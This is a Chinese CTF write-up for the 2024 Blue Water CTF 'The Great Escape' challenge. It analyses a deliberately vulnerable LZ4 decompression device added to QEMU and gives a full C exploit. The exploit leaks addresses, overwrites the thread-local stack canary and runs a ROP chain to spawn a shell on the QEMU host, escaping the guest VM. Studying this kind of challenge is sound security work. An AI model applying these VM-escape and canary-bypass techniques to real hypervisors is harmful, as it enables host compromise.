当前位置: 首页 > news >正文

2024 Blue Water CTF - The Great Escape

文章目录

  • rootfs.cpio.zst和rootfs.cpio
      • 1. 解压缩 `rootfs.cpio.zst`
      • 2. 解开 `cpio` 文件
      • 3. 添加文件
      • 4. 重新打包为 `cpio` 文件
      • 5. 压缩为 `.zst` 文件
      • 清理临时文件
  • sudo解决
  • Lz4
  • 逆向
  • 漏洞点
  • 交互
  • 思路
  • TLScanary:
  • exp

本文首发于奇安信攻防社区 https://forum.butian.net/share/3852

感谢XDLiu师傅的帮助

感觉以后还是专门钻一个方向,不然时间花的太零散了。比如这次心血来潮看WSL去,最后发现完全是知识盲区,但至少学会了WSL怎么用了:),

rootfs.cpio.zst和rootfs.cpio

要向一个 rootfs.cpio.zst 文件中加入一个文件,并重新压缩为 rootfs.cpio.zst,需要进行以下步骤:

  1. 解压缩 rootfs.cpio.zst:首先,解压缩 .zst 文件,然后解开 cpio 文件以便访问其内容。

  2. 添加文件:将新的文件添加到解压后的文件系统中。

  3. 重新打包为 cpio 文件:将修改后的文件系统重新打包为 cpio 文件。

  4. 压缩为 .zst 文件:将新的 cpio 文件压缩为 .zst

以下是在 Linux 系统上的具体操作步骤:

1. 解压缩 rootfs.cpio.zst

首先,确保你安装了 zstdcpio 工具。如果还没有安装,可以使用包管理器安装,例如在 Ubuntu 上:

sudo apt update
sudo apt install zstd cpio

解压缩 .zst 文件:

unzstd rootfs.cpio.zst

此命令将生成一个 rootfs.cpio 文件。

2. 解开 cpio 文件

创建一个目录来存放解压后的文件系统:

mkdir rootfs
cd rootfs

解开 cpio 文件:

cpio -idmv < ../rootfs.cpio

3. 添加文件

将你想添加的文件复制到 rootfs 目录中。例如,如果你有一个名为 newfile.txt 的文件:

cp /path/to/newfile.txt .

4. 重新打包为 cpio 文件

rootfs 目录中创建一个新的 cpio 文件:

find . | cpio -o -H newc > ../new_rootfs.cpio

5. 压缩为 .zst 文件

将新的 cpio 文件压缩回 .zst 格式:

zstd -o rootfs.cpio.zst ../new_rootfs.cpio

清理临时文件

你可以删除临时文件和目录来清理空间:

rm ../new_rootfs.cpio
cd ..
rm -rf rootfs

sudo解决

XDLiu师傅解决的,tql!!!

busybox原本权限是rws,s代表的是执行该文件时,它会以文件所有者的权限运行,而不是当前用户的权限。因为我们用普通用户解压了,其文件所有者的权限变成普通用户了,所以即便时root去执行该文件,还是以普通用户执行,这也是sudo解压压缩是可以正常用的原因,一直保持的是root为文件所有者

Lz4

https://blog.csdn.net/weixin_45412350/article/details/123336868
在这里插入图片描述
直接从给出的源码链接查看解压过程

LZ4 is a more efficient compression algorithm, it's one of the many derivates of LZ77, and it is known for it speed in decompression, that makes it a first choice for realtime compression of filesystems, it is used by ZFS for example. (https://en.wikipedia.org/wiki/LZ4_(compression_algorithm))In term of compression efficiency, it is a bit less efficient than zlib deflate algorithm, but in maximum compression mode (-hc mode) it's not far from zlib compression ratio.Here is a decompression stub in x86_64 assembly, it's only 60 bytes, and can be called from a C program too:.globl lz4dec.intel_syntax noprefix
// lz4dec(const void *dst, void *src, void *srcend);
// rdi = dst, destination buffer
// rsi = src, compressed data
// rdx points to end of compressed data
lz4dec:
.l0:    xor ecx,ecxxor eax,eaxlodsbmovzx   ebx,al
.cpy:   shr al,4call buildfullcountrep movsb   rsi 指向的源地址开始,连续复制字节到 rdi 指向的目标地址,直到复制的字节数达到 rcx 指定的数量。cmp rsi,rdxjae exit
.copymatches:lodsw  rsi 寄存器指向的内存位置读取一个字(2 个字节),然后将其加载到 AX 寄存器中xchg ebx,eaxand al,15call buildfullcount
.matchcopy:push rsipush rdipop rsisub rsi,rbxadd ecx,4rep movsbpop rsijmp .l0
buildfullcount:cmp al,15xchg ecx,eaxjne exit   # <15
.buildloop:lodsbadd ecx,eaxcmp al,255je .buildloop
exit:   ret#include <stdint.h>
#include <stddef.h>void lz4dec(uint8_t* dst, const uint8_t* src, const uint8_t* srcend) {while (src < srcend){uint32_t length = 0;uint32_t offset = 0;uint8_t token = *src++;// Copy literalslength = token >> 4;  //len if (length == 15) {uint8_t len;do {len = *src++;length += len;} while (len == 255 && src < srcend);}for (uint32_t i = 0; i < length; ++i) {  //literal*dst++ = *src++;if (src >= srcend) return;}if (src >= srcend) break;   // Copy matchesoffset = *(uint16_t*)src;   //offsetsrc += 2;length = token & 0x0F;  //match lengthif (length == 15) {uint8_t len;do {len = *src++;length += len;} while (len == 255 && src < srcend);}length += 4;const uint8_t* match = dst - offset;for (uint32_t i = 0; i < length; ++i) {*dst++ = *match++;}}
}

可以利用 const uint8_t* match = dst - offset; for (uint32_t i = 0; i < length; ++i) { *dst++ = *match++; }来往dst里面写越界,同时可以通过改offset来使得往低地址越界读

逆向

/** Virtual LZ4 Device** Copyright (c) 2017 Milo Kim <woogyom.kim@gmail.com>** This program is free software; you can redistribute it and/or* modify it under the terms of the GNU General Public License* as published by the Free Software Foundation; either version 2* of the License, or (at your option) any later version.** This program is distributed in the hope that it will be useful,* but WITHOUT ANY WARRANTY; without even the implied warranty of* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the* GNU General Public License for more details.** You should have received a copy of the GNU General Public License* along with this program; if not, see <http://www.gnu.org/licenses/>.**/#include "qemu/osdep.h"
#include "hw/irq.h"
#include "hw/qdev-properties.h"
#include "hw/sysbus.h"
#include "hw/virtio/virtio.h"
#include "migration/qemu-file-types.h"
#include "qemu/host-utils.h"
#include "qemu/module.h"
#include "sysemu/kvm.h"
#include "sysemu/replay.h"
#include "hw/virtio/virtio-mmio.h"
#include "qemu/error-report.h"
#include "qemu/log.h"
#include "trace.h"
#include "hw/hw.h"
#include "exec/memory.h"
#include "exec/address-spaces.h"
#include "qemu/bitops.h"#define TYPE_VIRT_LZ4DEV          "virt-lz4dev"
#define VIRT_lz4dev(obj)          OBJECT_CHECK(Virtlz4devState, (obj), TYPE_VIRT_LZ4DEV)/* Register map */
#define LZ4DEV_OFFSET_ID 0x00
#define LZ4DEV_OFFSET_LEN 0x08
#define LZ4DEV_OFFSET_TRIGGER 0x10
#define LZ4DEV_INBUF 0x20#define REG_ID                 0x0
#define CHIP_ID                0xf001#define INT_ENABLED            BIT(0)
#define INT_BUFFER_DEQ         BIT(1)typedef struct {SysBusDevice parent_obj;MemoryRegion iomem;qemu_irq irq;hwaddr dst;hwaddr len;char inbuf[4096];} Virtlz4devState;extern uint64_t lz4dec_x86_64(void *dst, void *src, void *srcend);
uint64_t lz4_cmd_decompress(Virtlz4devState *s, char *dst);uint64_t lz4_cmd_decompress(Virtlz4devState *s, char *dst)
{
uint64_t res;res = lz4dec_x86_64(dst, s->inbuf, s->inbuf+s->len);memcpy(&s->inbuf[0], dst, (res > 4096) ? 4096 : res);return res;
}static uint64_t virt_lz4dev_read(void *opaque, hwaddr offset, unsigned size)
{Virtlz4devState *s = (Virtlz4devState *)opaque;uint64_t data;if ((offset>=0x20) && (((offset-0x20)+size)<4096)){data = 0;memcpy(&data, &s->inbuf[offset-0x20], size);return data;}switch (offset) {case LZ4DEV_OFFSET_ID:return 0xdeadbeef;case LZ4DEV_OFFSET_LEN:return s->len;default:break;}return 0;
}static void virt_lz4dev_write(void *opaque, hwaddr offset, uint64_t value,unsigned size)
{Virtlz4devState *s = (Virtlz4devState *)opaque;uint64_t data;char outbuf[4096];if ((offset>=0x20) && (((offset-0x20)+size)<0x800)){data = value;memcpy(&s->inbuf[offset-0x20], &data, size);return;}switch (offset) {case LZ4DEV_OFFSET_LEN:if ((hwaddr)value < 2048)s->len = (hwaddr)value;break;case LZ4DEV_OFFSET_TRIGGER:// return decompressed size in s->lens->len = (hwaddr)lz4_cmd_decompress(s, outbuf);break;default:break;}
}static const MemoryRegionOps virt_lz4dev_ops = {.read = virt_lz4dev_read,.write = virt_lz4dev_write,.endianness = DEVICE_NATIVE_ENDIAN,
};static void virt_lz4dev_realize(DeviceState *d, Error **errp)
{Virtlz4devState *s = VIRT_lz4dev(d);SysBusDevice *sbd = SYS_BUS_DEVICE(d);memory_region_init_io(&s->iomem, OBJECT(s), &virt_lz4dev_ops, s, TYPE_VIRT_LZ4DEV, 0x1000);sysbus_init_mmio(sbd, &s->iomem);sysbus_init_irq(sbd, &s->irq);
}static void virt_lz4dev_class_init(ObjectClass *klass, void *data)
{DeviceClass *dc = DEVICE_CLASS(klass);dc->realize = virt_lz4dev_realize;
}static const TypeInfo virt_lz4dev_info = {.name          = TYPE_VIRT_LZ4DEV,.parent        = TYPE_SYS_BUS_DEVICE,.instance_size = sizeof(Virtlz4devState),.class_init    = virt_lz4dev_class_init,
};static void virt_lz4dev_register_types(void)
{type_register_static(&virt_lz4dev_info);
}type_init(virt_lz4dev_register_types)
diff --color -aur qemu-8.2.0/hw/arm/virt.c qemu-8.2.0-patched/hw/arm/virt.c
--- qemu-8.2.0/hw/arm/virt.c	2023-12-19 22:24:34.000000000 +0100
+++ qemu-8.2.0-patched/hw/arm/virt.c	2024-05-25 09:51:45.943761308 +0200
@@ -157,6 +157,7 @@[VIRT_PVTIME] =             { 0x090a0000, 0x00010000 },[VIRT_SECURE_GPIO] =        { 0x090b0000, 0x00001000 },[VIRT_MMIO] =               { 0x0a000000, 0x00000200 },
+    [VIRT_LZ4DEV] =             { 0x0b000000, 0x00000200 },/* ...repeating for a total of NUM_VIRTIO_TRANSPORTS, each of that size */[VIRT_PLATFORM_BUS] =       { 0x0c000000, 0x02000000 },[VIRT_SECURE_MEM] =         { 0x0e000000, 0x01000000 },
@@ -202,6 +203,7 @@[VIRT_GIC_V2M] = 48, /* ...to 48 + NUM_GICV2M_SPIS - 1 */[VIRT_SMMU] = 74,    /* ...to 74 + NUM_SMMU_IRQS - 1 */[VIRT_PLATFORM_BUS] = 112, /* ...to 112 + PLATFORM_BUS_NUM_IRQS -1 */
+    [VIRT_LZ4DEV] = 112 + PLATFORM_BUS_NUM_IRQS,};static const char *valid_cpus[] = {
@@ -1116,6 +1118,38 @@}}+static void create_virt_lz4dev_device(const VirtMachineState *vms)
+{
+    MachineState *ms = MACHINE(vms);
+    hwaddr base = vms->memmap[VIRT_LZ4DEV].base;
+    hwaddr size = vms->memmap[VIRT_LZ4DEV].size;
+    int irq = vms->irqmap[VIRT_LZ4DEV];
+    char *nodename;
+
+    /*
+     * virt-lz4dev@0b000000 {
+     *         compatible = "virt-lz4dev";
+     *         reg = <0x0b000000 0x200>;
+     *         interrupt-parent = <&gic>;
+     *         interrupts = <176>;
+     * }
+     */
+
+    sysbus_create_simple("virt-lz4dev", base, qdev_get_gpio_in(vms->gic, irq));
+
+    nodename = g_strdup_printf("/virt_lz4dev@%" PRIx64, base);
+    qemu_fdt_add_subnode(ms->fdt, nodename);
+    qemu_fdt_setprop_string(ms->fdt, nodename, "compatible", "virt-lz4dev");
+    qemu_fdt_setprop_sized_cells(ms->fdt, nodename, "reg", 2, base, 2, size);
+    qemu_fdt_setprop_cells(ms->fdt, nodename, "interrupt-parent",
+                           vms->gic_phandle);
+    qemu_fdt_setprop_cells(ms->fdt, nodename, "interrupts",
+                           GIC_FDT_IRQ_TYPE_SPI, irq,
+                           GIC_FDT_IRQ_FLAGS_LEVEL_HI);
+
+    g_free(nodename);
+}
+#define VIRT_FLASH_SECTOR_SIZE (256 * KiB)static PFlashCFI01 *virt_flash_create1(VirtMachineState *vms,
@@ -2308,6 +2342,7 @@* no backend is created the transport will just sit harmlessly idle.*/create_virtio_devices(vms);
+    create_virt_lz4dev_device(vms);vms->fw_cfg = create_fw_cfg(vms, &address_space_memory);rom_set_fw(vms->fw_cfg);
Seulement dans qemu-8.2.0-patched/hw/misc: lz4dec_x86_64.s
diff --color -aur qemu-8.2.0/hw/misc/meson.build qemu-8.2.0-patched/hw/misc/meson.build
--- qemu-8.2.0/hw/misc/meson.build	2023-12-19 22:24:34.000000000 +0100
+++ qemu-8.2.0-patched/hw/misc/meson.build	2023-12-31 03:52:01.645221730 +0100
@@ -1,5 +1,7 @@system_ss.add(when: 'CONFIG_APPLESMC', if_true: files('applesmc.c'))system_ss.add(when: 'CONFIG_EDU', if_true: files('edu.c'))
+system_ss.add(files('virt_lz4dev.c'))
+system_ss.add(files('lz4dec_x86_64.s'))system_ss.add(when: 'CONFIG_FW_CFG_DMA', if_true: files('vmcoreinfo.c'))system_ss.add(when: 'CONFIG_ISA_DEBUG', if_true: files('debugexit.c'))system_ss.add(when: 'CONFIG_ISA_TESTDEV', if_true: files('pc-testdev.c'))
Seulement dans qemu-8.2.0-patched/hw/misc: virt_lz4dev.c
diff --color -aur qemu-8.2.0/include/hw/arm/virt.h qemu-8.2.0-patched/include/hw/arm/virt.h
--- qemu-8.2.0/include/hw/arm/virt.h	2023-12-19 22:24:34.000000000 +0100
+++ qemu-8.2.0-patched/include/hw/arm/virt.h	2023-12-31 05:00:08.097627518 +0100
@@ -76,6 +76,7 @@VIRT_ACPI_GED,VIRT_NVDIMM_ACPI,VIRT_PVTIME,
+    VIRT_LZ4DEV,VIRT_LOWMEMMAP_LAST,};
	.globl lz4dec_x86_64.intel_syntax noprefix
//
// https://github.com/nobodyisnobody/tools/tree/main/Assembly.Decompression.Stubs#2--lz4-compression
// small lz4 decompression stub in x86_64 assembly (60 bytes)
// lz4dec_x86_64(void *dst, void *src, void *srcend);
lz4dec_x86_64:push rcxpush rbxpush rdi
.l0:xor ecx,ecxxor eax,eaxlodsb         从源指针(rsi)指向的内存位置加载一个字节到 al 寄存器movzx	   ebx,al  将 al 中的 8 位无符号值扩展为 32 位,并存储在 ebx 中
.cpy:shr al,4call buildfullcountrep movsbcmp rsi,rdxjae .done2
.copymatches:lodswxchg ebx,eaxand al,15call buildfullcount
.matchcopy:push rsipush rdipop rsisub rsi,rbxadd ecx,4rep movsbpop rsijmp .l0buildfullcount:cmp al,15xchg ecx,eaxjne .done1
.buildloop:lodsbadd ecx,eaxcmp al,255je .buildloop
.done1:ret
.done2:push rdipop raxpop rdisub rax,rdipop rbxpop rcxret#include <stdint.h>// lz4dec_x86_64(void *dst, void *src, void *srcend);
void lz4dec_x86_64(uint8_t* dst, const uint8_t* src, const uint8_t* srcend) {const uint8_t* original_dst = dst;while (src < srcend) {uint32_t length = 0;uint32_t offset = 0;uint8_t token = *src++;// Copy literalslength = token >> 4;if (length == 15) {uint8_t len;do {len = *src++;length += len;} while (len == 255 && src < srcend);}for (uint32_t i = 0; i < length; ++i) {*dst++ = *src++;if (src >= srcend) goto done2;}if (src >= srcend) break;// Copy matchesoffset = *(uint16_t*)src;src += 2;length = (token & 0x0F);if (length == 15) {uint8_t len;do {len = *src++;length += len;} while (len == 255 && src < srcend);}length += 4;const uint8_t* match = dst - offset;for (uint32_t i = 0; i < length; ++i) {*dst++ = *match++;}}done2: ;// Calculate the decompressed lengthsize_t decompressed_length = dst - original_dst;
}

漏洞点


// lz4dec_x86_64(void *dst, void *src, void *srcend);
void lz4dec_x86_64(uint8_t* dst, const uint8_t* src, const uint8_t* srcend) {const uint8_t* original_dst = dst;while (src < srcend) {uint32_t length = 0;uint32_t offset = 0;uint8_t token = *src++;// Copy literalslength = token >> 4;if (length == 15) {uint8_t len;do {len = *src++;length += len;} while (len == 255 && src < srcend);}for (uint32_t i = 0; i < length; ++i) {*dst++ = *src++;if (src >= srcend) goto done2;}if (src >= srcend) break;// Copy matchesoffset = *(uint16_t*)src;src += 2;length = (token & 0x0F);if (length == 15) {uint8_t len;do {len = *src++;length += len;} while (len == 255 && src < srcend);}length += 4;const uint8_t* match = dst - offset;for (uint32_t i = 0; i < length; ++i) {*dst++ = *match++;}}done2: ;// Calculate the decompressed lengthsize_t decompressed_length = dst - original_dst;
}uint64_t lz4_cmd_decompress(Virtlz4devState *s, char *dst)
{
uint64_t res;res = lz4dec_x86_64(dst, s->inbuf, s->inbuf+s->len);memcpy(&s->inbuf[0], dst, (res > 4096) ? 4096 : res);return res;
}static void virt_lz4dev_write(void *opaque, hwaddr offset, uint64_t value,unsigned size)
{Virtlz4devState *s = (Virtlz4devState *)opaque;uint64_t data;char outbuf[4096];case LZ4DEV_OFFSET_TRIGGER:// return decompressed size in s->lens->len = (hwaddr)lz4_cmd_decompress(s, outbuf);break;     }

outbuf是栈上的,lz4_cmd_decompress会将s->inbuf, s->inbuf+s->len解压到outbuf里面,而这里没有4096的限制,会导致virt_lz4dev_write的栈溢出

交互

root权限可以打开/dev/mem,然后mmap映射物理地址到用户空间即可,我是傻逼,还想着模块,内核头文件都没给,显然不可能是模块.jpg

有个溢出废洞,放弃后感觉洞在解压缩上,咋pwn还涉及到找解压缩的算法。见世面了,显然是我太菜了.jpg

给了原来的源码,额。。。对比发现有改动。。。然后主要的洞就是传入的是压缩的数据,但这个压缩的数据是自己构造的。而不是通过其压缩方法来压缩的

思路

通过offset使得负越界泄露,但最大也是0xffff,发现没有canary可以泄露。发现所有残存的都在高地址

1a:00d0│         0x7f8eb4ffe0b0 —▸ 0x7f8eb4ffe0e0 ◂— 0
1b:00d8│         0x7f8eb4ffe0b8 —▸ 0x7f8eb4ffe1fe ◂— 0
1c:00e0│         0x7f8eb4ffe0c0 —▸ 0x7f8eb4ffe0e0 ◂— 0
1d:00e8│         0x7f8eb4ffe0c8 —▸ 0x5e4569b7c3c0 —▸ 0x5e45691ecd50 —▸ 0x5e4568fdef80 —▸ 0x5e4568fdf100 ◂— ...
1e:00f0│         0x7f8eb4ffe0d0 ◂— 4
1f:00f8│ rsp     0x7f8eb4ffe0d8 —▸ 0x5e4566b27879 (lz4_cmd_decompress+73) ◂— mov ecx, 0x1000
20:0100│ rdi r12 0x7f8eb4ffe0e0 ◂— 0    // 是dst  -offset可以泄露上面内容

所以只能通过覆盖TLS中的canary来修改

然后打rop

TLScanary:

https://www.cnblogs.com/CH13hh/p/18299195

每个线程有一个TCB和自己的TLS(Thread-Local Storage)区域(存储独立的canary)

每个TCB指向TLS区域,TCB保存在高地址

  • 溢出大字节至少1page
  • 能创建线程,线程里栈溢出
struct pthread {
#if !TLS_DTV_AT_TP/* This overlaps the TCB as used for TLS without threads (see tls.h).  */tcbhead_t header; // 可能与TLS相关的头部信息
#elsestruct {// 更复杂的结构体定义// 可能包含与TLS相关的更多详细信息// ...} header;
#endif/* Extra padding for alignment and potential future use */void *__padding[24]; // 填充数组,用于对齐和可能的未来扩展
};typedef struct {void *tcb;            /* 指向线程控制块(TCB)的指针 */dtv_t *dtv;           /* 线程特定数据的指针 */void *self;           /* 指向线程描述符的指针 */int multiple_threads; /* 标识是否有多个线程 */int gscope_flag;      /* 全局作用域标志 */uintptr_t sysinfo;    /* 系统信息 */uintptr_t stack_guard;/* 堆栈保护 */uintptr_t pointer_guard; /* 指针保护 *//* 其他可能的字段... */
} tcbhead_t;

注意覆盖fs部分时canary前面部分尽量保持原样或者同类型的,不如就会出现如下问题

► 0x784be8ca38a0 <pthread_setcancelstate>       endbr64 0x784be8ca38a4 <pthread_setcancelstate+4>     cmp    edi, 1     1 - 1     EFLAGS => 0x246 [ cf PF af ZF sf IF df of ]0x784be8ca38a7 <pthread_setcancelstate+7>     ja     pthread_setcancelstate+80   <pthread_setcancelstate+80>0x784be8ca38a9 <pthread_setcancelstate+9>     mov    rax, qword ptr fs:[0x10]         RAX, [0x784bb54006d0] => 0x1010101010101010x784be8ca38b2 <pthread_setcancelstate+18>    lea    rcx, [rax + 0x308]               RCX => 0x1010101010104090x784be8ca38b9 <pthread_setcancelstate+25>    mov    eax, dword ptr [rax + 0x308]     <Cannot dereference [0x101010101010409]>

exp

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/mman.h>
#include <stdint.h>#define VIRT_LZ4DEV_BASE 0x0b000000
#define VIRT_LZ4DEV_SIZE 0x00000200#define LZ4DEV_OFFSET_ID 0x00
#define LZ4DEV_OFFSET_LEN 0x08
#define LZ4DEV_OFFSET_TRIGGER 0x10
#define LZ4DEV_INBUF 0x20void compress(char low,char high,int literal_len,char*literal,short offset,int match_len)
{
}
int main() {int fd;void *map_base;volatile uint64_t *id_reg;volatile uint64_t *len_reg;volatile uint64_t *trigger_reg;volatile uint8_t *inbuf;uint64_t token;uint64_t literal_len;uint64_t literal;uint64_t offset;uint64_t match_len;uint64_t   compress;// Open /dev/memfd = open("/dev/mem", O_RDWR | O_SYNC);if (fd == -1) {perror("open /dev/mem");exit(1);}// Map the device memorymap_base = mmap(NULL, VIRT_LZ4DEV_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, fd, VIRT_LZ4DEV_BASE);if (map_base == MAP_FAILED) {perror("mmap");close(fd);exit(1);}// Get pointers to the registersid_reg = (volatile uint64_t *)(map_base + LZ4DEV_OFFSET_ID);len_reg = (volatile uint64_t *)(map_base + LZ4DEV_OFFSET_LEN);trigger_reg = (volatile uint64_t *)(map_base + LZ4DEV_OFFSET_TRIGGER);inbuf = (volatile uint8_t *)(map_base + LZ4DEV_INBUF);// leak token=0xf;offset=0x20<<8;match_len=0x20<<24;compress=token|offset|match_len;// Write some data to the input buffer*(uint32_t*)inbuf=compress;*len_reg=8;// Trigger the decompression*trigger_reg = 1;uint64_t lowerpie =*(uint32_t*)(inbuf+24);  //0xc01f20  0x7cee0a000000printf("lower pie %llx \n",lowerpie);uint64_t higherpie =*(uint32_t*)(inbuf+28);printf("higher pie %llx \n",higherpie);uint64_t pie=lowerpie|(higherpie<<32);pie=pie-0x44a879;printf("pie %llx \n",pie);uint64_t system_addr=0x0000000000822D77+pie;uint64_t binsh_addr=0x0000000000A7D49E +pie;uint64_t pop_rdi_ret=0x0000000000335838+pie;uint64_t ret_addr=0x0000000000335839+pie;uint64_t lowerstack =*(uint32_t*)(inbuf);  //0xc01f20  0x7cee0a000000printf("lower stack %llx \n",lowerstack);uint64_t higherstack =*(uint32_t*)(inbuf+4);printf("higher stack %llx \n",higherstack);uint64_t stack=lowerstack|(higherstack<<32);printf("stack %llx \n",stack);*len_reg=0x100;//paddding  4096token=0x1f;literal=1<<8;offset=1<<16;compress=token|literal|offset;// Write some data to the input buffer*(uint32_t*)inbuf=compress;match_len=0xffffffffffffffff;*(uint64_t*)(inbuf+4)=match_len;match_len=0xfbffffffffffffff;*(uint64_t*)(inbuf+12)=match_len;//paddding 0x48token=0x1f;literal=1<<8;offset=1<<16;compress=token|literal|offset;*(uint32_t*)(inbuf+20)=compress;match_len=0x47-0xf-4-0x20;*(uint8_t*)(inbuf+24)=match_len;//rop chaintoken=0xf0;literal_len=(0x20-0xf)<<8;compress=token|literal_len;*(uint16_t*)(inbuf+25)=compress;printf("pop_rdi_ret %llx \n",pop_rdi_ret);printf("binsh_addr %llx \n",binsh_addr);printf("system_addr %llx \n",system_addr);printf("ret_addr %llx \n",ret_addr);*(uint64_t*)(inbuf+27)=pop_rdi_ret;*(uint64_t*)(inbuf+35)=binsh_addr;*(uint64_t*)(inbuf+43)=system_addr;*(uint64_t*)(inbuf+51)= ret_addr;offset=0;*(uint16_t*)(inbuf+59)=offset;// padding token=0x1f;literal=1<<8;offset=1<<16;compress=token|literal|offset;// Write some data to the input buffer*(uint32_t*)(inbuf+61)=compress;match_len=0xffffffffffffffff;*(uint64_t*)(inbuf+65)=match_len;match_len=0xffffffffffffffff;*(uint64_t*)(inbuf+73)=match_len;match_len=0x95ffffffffff;*(uint64_t*)(inbuf+81)=match_len;// cover TLStoken=0xf0;literal_len=(0x28-0xf)<<8;compress=token|literal_len;*(uint16_t*)(inbuf+87)=compress;*(uint64_t*)(inbuf+89)=stack;*(uint64_t*)(inbuf+97)=binsh_addr;*(uint64_t*)(inbuf+105)=stack;*(uint64_t*)(inbuf+113)= 1;*(uint64_t*)(inbuf+121)= 0;*(uint64_t*)(inbuf+129)= 0x101011001010101;offset=0;*(uint16_t*)(inbuf+137)=offset;// triggerint decompressed_len=*len_reg;*trigger_reg = 1;// Read the decompressed data from the input bufferfor (uint64_t i = 0; i < decompressed_len; i++) {printf("%02x \n", inbuf[i]);}// Unmap the device memorymunmap(map_base, VIRT_LZ4DEV_SIZE);// Close the file descriptorclose(fd);return 0;
}
//0x10f4d0

http://www.mrgr.cn/news/59716.html

相关文章:

  • 保姆级教程!!教你通过【Pycharm远程】连接服务器运行项目代码
  • 大话网络协议:从OSI七层模型说开去
  • 小白学视觉 | PE-YOLO:解决黑夜中的目标检测难点
  • supermall项目上拉加载bug分析
  • springboot多模块打包时出现Could not resolve dependencies for project
  • IDEA关联Tomcat——最新版本IDEA 2024
  • 整和 Wechaty机器人(Windows)
  • 【完整版】opencv-python-headless、opencv-python和opencv-contrib-python区别和联系
  • 香港海洋投资启动创新海洋牧场,领航全球海洋经济
  • 面向对象进阶(下)(JAVA笔记第二十五期)
  • 重构代码之状态与策略模式
  • 破解API加密逆向接口分析,看这篇就够了
  • 录屏软件推荐,4个工具助你高效录屏。
  • 自适应阻抗控制基本概念
  • redis 查找key使用正在表达式与java的区别
  • 《C++中局部变量与全局变量在内存中的奥秘》
  • vue 项目情景应用+深度理解+面试高频题
  • 海洋生物图像分割系统:算法改进策略
  • 习题2.40
  • 群控系统服务端开发模式-应用开发-业务架构逻辑开发API准备工作
  • D. Skipping 【 Codeforces Round 980 (Div. 2)】
  • 用Pycharm 运行深度学习,在测试(推理)运行测试文件会自动进入pytest模式,如何关闭默认测试框架
  • LVGL _基础控件_Label 文本
  • 《C++显式类型转换:解析多种转换方式的奥秘》
  • Docker | images镜像的常用命令总结
  • AI提示词工程优化Prompt-GPT使用手册(科普一键收藏史上最强攻略)